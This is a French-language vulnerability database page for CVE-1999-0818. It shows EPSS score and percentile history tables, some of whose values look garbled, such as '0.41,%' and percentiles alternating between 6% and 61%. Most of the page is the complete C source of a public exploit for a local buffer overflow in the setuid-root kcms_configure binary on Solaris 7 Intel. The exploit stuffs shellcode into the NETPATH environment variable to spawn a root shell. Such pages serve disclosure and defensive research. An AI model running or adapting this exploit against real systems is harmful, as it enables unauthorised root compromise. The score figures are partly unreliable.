CVE-1999-0818 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.96%	–	–
2022-03-13	–	–	1.96%	–	–
2022-04-03	–	–	1.96%	–	–
2022-07-31	–	–	1.96%	–	–
2023-02-26	–	–	1.96%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.41%
2025-03-30	–	–	–	–	0.41%
2025-04-06	–	–	–	–	0.41%
2025-04-15	–	–	–	–	0.41%
2025-06-01	–	–	–	–	0.41%
2025-06-04	–	–	–	–	0.41%
2025-06-11	–	–	–	–	0.41%
2025-06-15	–	–	–	–	0.41%
2025-06-15	–	–	–	–	0.41,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	56%
2022-03-13	57%
2022-04-03	77%
2022-07-31	78%
2023-02-26	79%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	59%
2025-03-30	58%
2025-04-06	59%
2025-04-15	6%
2025-06-01	61%
2025-06-04	6%
2025-06-11	61%
2025-06-15	6%
2025-06-15	6%

/* source: https://www.securityfocus.com/bid/831/info The binary kcms_configure, part of the Kodak Color Management System package shipped with OpenWindows (and ultimately, Solaris) is vulnerable to a local buffer overflow. The buffer which the contents of the environment variable NETPATH are copied into has a predetermined length, which if exceeded can corrupt the stack and cause aribtrary code hidden inside of the oversized buffer to be executed. kcms_configure is installed setuid root and exploitation will result in a local root compromise. */ ------ ex_kcms_configure86.c /*============================================================================= kcms_configure Exploit for Solaris7 Intel Edition The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) ============================================================================= */ #define ENV "NETPATH=" #define MAXBUF 3000 #define RETADR 2088 #define RETOFS 0xad0 #define FAKEADR 2076 #define NOP 0x90 unsigned long get_sp(void) { __asm__(" movl %esp,%eax "); } char exploit_code[] = "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0" "\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff" "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0" "\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff" "\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33" "\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88" "\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f" "\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46" "\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01" "\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh"; main() { char buf[MAXBUF]; unsigned int i,ip,sp; putenv("LANG="); sp=get_sp(); printf("ESP=0x%x\n",sp); memset(buf,NOP,MAXBUF); ip=sp; buf[FAKEADR ]=ip&0xff; buf[FAKEADR+1]=(ip>>8)&0xff; buf[FAKEADR+2]=(ip>>16)&0xff; buf[FAKEADR+3]=(ip>>24)&0xff; ip=sp-RETOFS; buf[RETADR ]=ip&0xff; buf[RETADR+1]=(ip>>8)&0xff; buf[RETADR+2]=(ip>>16)&0xff; buf[RETADR+3]=(ip>>24)&0xff; strncpy(buf+2500,exploit_code,strlen(exploit_code)); strncpy(buf,ENV,strlen(ENV)); buf[MAXBUF-1]=0; putenv(buf); execl("/usr/openwin/bin/kcms_configure","kcms_configure","1",0); }